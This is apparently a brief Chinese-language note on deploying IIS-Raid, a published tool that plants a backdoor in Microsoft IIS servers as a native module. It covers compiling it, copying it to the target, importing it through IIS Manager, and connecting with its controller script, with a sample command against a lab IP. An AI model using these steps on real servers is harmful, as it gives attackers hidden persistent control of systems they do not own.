【IIS】IIS-Raid 后门模块使用

概述：IIS 后门 IIS-Raid 模块相关内容

Github：IIS Raid – Backdooring IIS Using Native Modules - MDSec

Docs: https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/

IIS Raid 编译及使用

Clone 到本地后编译 X64 Release 版本，将产物拷贝到目标机器，然后在 IIS-Manager GUI 界面导入模块。

发起请求

# python iis_controller.py --url http://{IP}:{Port}/ --password "密码"
python iis_controller.py --url http://192.168.19.137:8080/ --password Admin@Qwe1